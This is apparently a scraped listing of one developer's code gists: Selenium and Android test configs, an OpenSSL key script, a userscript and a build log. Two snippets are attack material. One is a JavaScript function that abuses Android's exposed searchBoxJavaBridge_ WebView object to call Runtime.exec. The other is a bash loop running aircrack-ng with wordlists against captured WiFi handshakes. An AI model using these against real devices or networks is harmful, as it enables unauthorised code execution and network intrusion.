This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<santorinicontent> | |
<contentlist> | |
<bundle> | |
<bundleid>com.tomtom.oversea</bundleid> | |
<content_version>5</content_version> | |
<min_app_version>1</min_app_version> | |
<download> | |
<url location="file://mnt/sdcard/tomtom/com.tomtom.oversea"/> | |
</download> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function execute(cmdArgs) | |
{ | |
alert(typeof(searchBoxJavaBridge_)); | |
return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); | |
} | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Generating an SSL private key to sign your certificate..." | |
openssl genrsa -des3 -out myssl.key 1024 | |
echo "Generating a Certificate Signing Request..." | |
openssl req -new -key myssl.key -out myssl.csr | |
echo "Removing passphrase from key (for nginx)..." | |
cp myssl.key myssl.key.org | |
openssl rsa -in myssl.key.org -out myssl.key |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cat Makefile | grep -E '^[a-z]' | awk -F":" '{print $1 }' | grep '.\{3,\}' | sort | grep -v "help" | tr "\\n" ", " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"capabilities": | |
[ | |
{ | |
"browserName": "android", | |
"platform": "ANDROID", | |
"seleniumProtocol": "WebDriver", | |
"maxInstances": 1, | |
"port": 8080 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FILE=bssid | |
while read CMD; do | |
echo "$CMD" | |
find wordlist/ -name "*.txt" -exec aircrack-ng -w {} -b $CMD -l ./keys airportSniff/airportSniff*.cap \; | |
#for crunch http://sourceforge.net/projects/crunch-wordlist/ | |
#/Users/jollychang/crunch-3.4/crunch 8 8 0123456789 | aircrack-ng -b $CMD -l ./keys /Users/jollychang/cap/airportSniff*.cap -w - | |
# use charset.lst | |
#/Users/jollychang/crunch-3.4/crunch 8 8 -f /Users/jollychang/crunch-3.4/charset.lst lalpha-numeric | aircrack-ng -b $CMD -l ./keys /Users/jollychang/cap/airportSniff*.cap -w - | |
done < "$FILE" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
HUB_HOST="localhost" | |
HUB_PORT="4444" | |
LOCAL_IP="ip" | |
SOCAT_PORT="8001" | |
PLATFORM='ANDROID' | |
BROWSERNAME='android' | |
MAXINSTANCES=1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Fix sohu focus first page link Userscript | |
// @namespace http://jollychang.com/ | |
// @version 0.1 | |
// @description first_page_link | |
// @match http://home.focus.cn/msgview/607/*.html | |
// @copyright 2012+, William Zhang | |
// ==/UserScript== | |
var first_page_link = document.querySelector("a[title*=首页]"); | |
var fix_link = first_page_link.href.replace("msgview/607","msgview/607/1"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# To install the Python client library: | |
# pip install -U selenium | |
# Import the Selenium 2 namespace (aka "webdriver") | |
from selenium import webdriver | |
# iPhone | |
driver = webdriver.Remote(browser_name="iphone", command_executor='http://172.24.101.36:3001/hub') | |
# Android |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[jollychang@jollychangs-MBP infer]$ make -C infer | |
make -C src clang | |
GIT_COMMIT=$(git rev-parse HEAD 2> /dev/null || printf "unknown commit"); \ | |
GIT_BRANCH=$(git rev-parse --abbrev-ref HEAD 2> /dev/null || printf "unknown branch"); \ | |
UNKNOWN="-unknown"; \ | |
if [ -e "/Users/jollychang/works/infer/.release" ]; then \ | |
UNKNOWN=""; \ | |
fi; \ | |
GIT_TAG=$(git tag --points-at HEAD 2> /dev/null || printf "v0.4.0$UNKNOWN"); \ | |
sed -e 's/@MAJOR@/0/g' \ |